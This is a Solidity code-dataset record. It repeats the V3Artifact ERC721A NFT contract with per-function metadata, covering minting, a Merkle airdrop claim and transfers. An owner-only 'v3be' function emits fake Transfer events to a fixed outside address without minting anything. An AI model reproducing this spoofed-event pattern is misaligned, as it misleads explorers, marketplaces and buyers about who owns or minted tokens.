* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | balanceOf | function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
| /**
* @dev See {IERC721-balanceOf}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
3768,
3990
]
} | 4,286 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | ownershipOf | function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
| /**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
4414,
4879
]
} | 4,287 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
